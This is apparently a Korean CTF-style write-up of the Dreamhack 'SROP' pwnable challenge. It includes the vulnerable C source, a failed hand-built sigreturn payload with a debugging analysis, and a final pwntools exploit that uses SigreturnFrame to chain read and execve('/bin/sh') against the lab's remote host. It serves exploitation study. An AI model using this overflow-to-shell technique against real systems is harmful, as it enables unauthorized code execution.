Dreamhack/Pwnable 문제 풀이

[Pwnable Advanced] Exploit Tech: SigReturn-Oriented Programming

seobangwool 2026. 4. 16. 22:56

srop.c

// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}
pwndbg> checksec
File:     /home/alex030905/pwnable/SROP/srop/srop
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

도커파일도 없고 srop.c 랑 실행파일 두개만 받았다.
코드도 간단하니 바로 방향잡고 익스플로잇 코드를 작성해보자.

코드 분석

buf 를 입력 받을 때 오버플로우가 일어나고 int gadget 함수가 시스템 콜을 실행하는 함수이니 rax에 15를 넣어서 sigreturn 을 실행하고 sigcontext 에 쉘을 실행하게 인자를 넣어버리자
우선 sigcontext 구조를 이렇게 기억해둔다.

/* __x86_64__: */
struct sigcontext {
  __u64               r8;
  __u64               r9;
  __u64               r10;
  __u64               r11;
  __u64               r12;
  __u64               r13;
  __u64               r14;
  __u64               r15;
  __u64               rdi;
  __u64               rsi;
  __u64               rbp;
  __u64               rbx;
  __u64               rdx;
  __u64               rax;
  __u64               rcx;
  __u64               rsp;
  __u64               rip;
  __u64               eflags;     /* RFLAGS */
  __u16               cs;
  __u16               gs;
  __u16               fs;
  union {
      __u16           ss; /* If UC_SIGCONTEXT_SS */
      __u16           __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
  };
  __u64               err;
  __u64               trapno;
  __u64               oldmask;
  __u64               cr2;
  struct _fpstate __user      *fpstate;   /* Zero when no FPU context */
#  ifdef __ILP32__
  __u32               __fpstate_pad;
#  endif
  __u64               reserved1[8];
};

 

image

자 이건 A를 대충 입력했을 때 스택 구조이다.
바로 구조를 짜보면,

오프셋 항목
0x00 더미 24바이트 A * 24
0x18 리턴주소 int gadget()
0x20 rax (sigreturn용) 15
0x28 r8 0
0x30 r9 0
0x38 r10 0
0x40 r11 0
0x48 r12 0
0x50 r13 0
0x58 r14 0
0x60 r15 0
0x68 rdi “/bin/sh” 문자열 주소
0x70 rsi 0
0x78 rbp 0
0x80 rbx 0
0x88 rdx 0
0x90 rax (실제 syscall용) 59
0x98 rcx 0
0xa0 rsp 0
0xa8 rip int gadget()

이거라 생각하고 익스플로잇 코드를 짜서 보내봤는데 실패했다.

 

실패 익스플로잇 코드

from pwn import *

p = process('./srop')
e = ELF('./srop')

binsh = 0x7ffff7dcb42f
gadget_addr = e.symbols['gadget']

print('gadget addr : ', hex(gadget_addr))

payload = b'A' * 24
payload += p64(gadget_addr)
payload += p64(15)

# r8~r15
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)

# rdi
payload += p64(binsh) 

# rsi ~ rdx
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)

# rax
payload += p64(59)

# rcx, rsp
payload += p64(0)
payload += p64(0)

# rip
payload += p64(gadget_addr)

p.send(payload)
p.interactive()

image

실패했다.

덤프코어 파일을 받아서 왜 안됐는지 분석해보자.

 

실패 분

image (56)

여길 보면 조작한 리턴주소가 없어져있고 그 다음에 넣었던 0xf 가 나와있다.

그리고 심지어 RIP 값이 0xf 로 바뀌어져있는 걸 봐서는 payload 가 시작부터 잘못되었단 걸 알았다.
그리고 rax 값도 -38 로 에러코드인걸 보면 0xf 를 rax 로 못들고가서 syscall 호출도 못했단 걸 꺠달았다.

또 생각해보면 libc 파일도 로컬에 있는 걸 썼으면서 오프셋도 마음대로 구해놨다. 그것도 수정해야한다.

gadget_addr = e.symbols['gadget']

print('gadget addr : ', hex(gadget_addr))

payload = b'A' * 24
payload += p64(gadget_addr)
payload += p64(15)

여기서부터 전부 바꿔줘야할 판이다.

그럼 결국 frame을 직접 payload로 맞춰주려고 하니 생긴 문제인 것 같다. 정확한 모양과 순서가 아니라서 모든 레지스터 값에 다 이상한 값이 들어가는게 분명하다.

이럴 때는 SigreturnFrame() 으로 구조체를 맞춰서 바로 가보자.

내가 결국 쓰고싶었던 건 execve(”/bin/sh”,0 ,0) 이였으므로 거기에 맞게금 프레임을 생성해보자.

 

image

그래서 /bin/sh 부터 찾아봤는데 실행 파일에는 없다.

지금 내가 쓰고있는 건 로컬에 libc 파일이니까 버전 맞는 거 찾고 오프셋 구하기보단 그냥 read 로 내가 /bin/sh 문자열을 써버리자.

 

image

rip 에 들어갈 syscall 가젯도 다시 찾아줬다.

그리고 익스플로잇 코드 흐름을 짜준다.

read 를 먼저 호출을 할거다. 그리고 binsh을 적고 그 위치에서 실행을 시켜버릴 예정이다.

  • read(0, bss, 0x1000)
  • execve(”/bin/sh”,0 ,0)

이렇게 두개를 실행할건데, /bin/sh 는 read 호출 이후에 직접 입력하고 그걸 쓸거다.

 

최종 익스플로잇 코드

from pwn import *

context.arch   = 'x86_64'

p = remote('host8.dreamhack.games', 23722)          
e = ELF('./srop')
bss = e.bss()

syscall_gadget = 0x4004eb
syscall = 0x4004ec

print('gadget addr : ', hex(syscall_gadget))

# read(0, bss, 0x1000)
# syscall number : 0
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x1000
frame.rip = syscall
frame.rsp = bss

payload = b'A' * 24
payload += p64(syscall_gadget)
payload += p64(15)
payload += bytes(frame)

p.sendline(payload)

# execve(”/bin/sh”,0 ,0)
# syscall number : 0x3b
frame1 = SigreturnFrame()
frame1.rax = 0x3b
frame1.rdi = bss+0x108
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
frame1.rsp = bss+0x500

payload = p64(syscall_gadget) # 8 bytes
payload += p64(15) #  8 bytes
payload += bytes(frame1) # 8 bytes
print(len(payload))

payload += b'/bin/sh\x00'

p.sendline(payload)
p.interactive()

이렇게 먼저 read 를 frame에 넣고 실행시킨 뒤, bss 에 공간을 확보한다.

그리고 두번째로 진짜 실행할 execve 함수를 썻는데, 여기서 /bin/sh 문자열을 bss + 0x108 위치에 들어가게 된다.

그래서 이걸 실행해보면?

 

image

답이 나왔다.